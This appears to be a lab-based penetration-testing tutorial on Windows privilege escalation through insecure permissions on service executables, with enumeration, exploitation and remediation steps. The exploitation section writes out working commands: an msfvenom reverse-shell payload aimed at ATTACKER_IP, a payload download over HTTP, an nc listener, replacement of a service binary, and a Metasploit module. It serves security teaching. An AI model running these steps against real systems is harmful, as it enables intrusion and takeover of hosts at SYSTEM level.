In Windows, services are programs or processes that run in the background, providing essential functionality to the operating system. Each service is associated with an executable file that defines its behavior
Insecure Permissions on Service Executable Privilege Escalation refers to a security vulnerability where the permissions assigned to a service executable in Windows are improperly configured, allowing unauthorized users or attackers to escalate their privileges and gain higher levels of access on a system. This type of vulnerability can pose a significant threat to the overall security of a system, as it may lead to unauthorized access, data breaches, and potential system compromise.
Common scenarios leading to insecure permissions on service executables include:
- Improper Configuration: Misconfigurations during service installation or updates may result in insecure file permissions.
- Weak Access Controls: Services may inherit permissions from parent directories or have default permissions that are overly permissive, allowing non-privileged users to modify or replace the executable.
Procedure
1. Enumerate all services to check if their original .exe (binary) is writable.
2. Modify or change the original binary with your payload .exe binary.
3. Refresh or start the service, the service will execute its .exe & run whatever is written on it with SYSTEM privileges.
Access Rights for the Service Control Manager
The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.
Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:
- SERVICE_CHANGE_CONFIG
- SERVICE_ALL_ACCESS
- GENERIC_WRITE
- GENERIC_ALL
- WRITE_DAC
- WRITE_OWNER
Detection
PowerUp
1. Running PowerUp, you can find which services are modifiable
- Import-module .\PowerUp.ps1
- Get-ModifiableServiceFile
CMD
1. Run accesschk.exe to know which permissions your user has, you need to download this from (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)
- whoami
- .\accesschk64.exe /accepteula -uwcqv “<User>” *
- .\accesschk64.exe /accepteula -uwcqv “Authenticated Users” *
Note: In this case we have SERVICE_ALL_ACCESS
2. List all the services and their permissions, try to find any interesting one
- .\accesschk64.exe /accepteula -uwcqv *
Note: This will show list each service and the groups which have write permissions to that service
3. Query this service for more information
- sc qc WindowsScheduler
Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)
4. Check what permissions you have on the BINARY_PATH_NAME file, (everyone appears to have M – Modify permissions)
- icacls C:\PROGRA~2\SYSTEM~1\WService.exe
Note: (I) indicates inherited permissions, (F) denotes full control, (RX) represents read and execute permissions, modify permissions (M). if you have an account in any of these groups then you’ve potentially got privilege escalation.
5. Check the permissions on the file
- .\accesschk64.exe /accepteula -uwqv “C:\PROGRA~2\SYSTEM~1\WService.exe”
6. Check which groups this user is member of
- net user thm-unpriv
Note: We can see we are part of Users group, which has (RW) permissions on the C:\PROGRA~2\SYSTEM~1\WService.exe file
Exploitation
1. The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.
- msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-shell.exe
- python3 -m http.server 9999
2. Transfer this file to the target machine
- IWR http://10.9.139.128:9999/rev-shell.exe
3. Once the file has been transferred, start a listener in your local machine
- nc -lvnp 4445
4. Move to the target folder (C:\PROGRA~2\SYSTEM~1\) and rename the target file (WService.exe) to create a back up
- cd C:\PROGRA~2\SYSTEM~1\
- dir Wserv*
- move WService.exe WService.exe.bak
5. Now move the reverse shell payload to the target directory
- move C:\Users\thm-unpriv\rev-shell.exe WService.exe
- dir WServ*
6. Now assign Full (F) permissions to Everyone
- icacls WService.exe
- icacls WService.exe /grant Everyone:F
- icacls WService.exe
7. Once, the original file has been replaced by our crafted program, we will proceed to restart the service that run it
- sc.exe stop windowsscheduler
- sc.exe start windowsscheduler
8. As it ran, you should get the reverse shell
- whoami
Metasploit
This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure configuration, file or registry permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload.
- use exploit/windows/local/service_permissions
- set lhost 192.168.1.3
- set session 1
- exploit
This will result in a new session as NT AUTHORITY\SYSTEM when this succeeds.
Remedy
Check if any of the following groups have permissions to modify executable files that are started by Windows services:
– Everyone
– Users
– Domain Users
– Authenticated Users
Ensure the groups listed above do not have permissions to modify or write service executables. Additionally, ensure these groups do not have Full Control permission to any directories that contain service executables.
Sources
https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f
https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/
https://medium.com/@gwazzu/windows-privilege-escalation-c7465a92317c
https://help.defense.com/en/articles/6600745-insecure-windows-service-permissions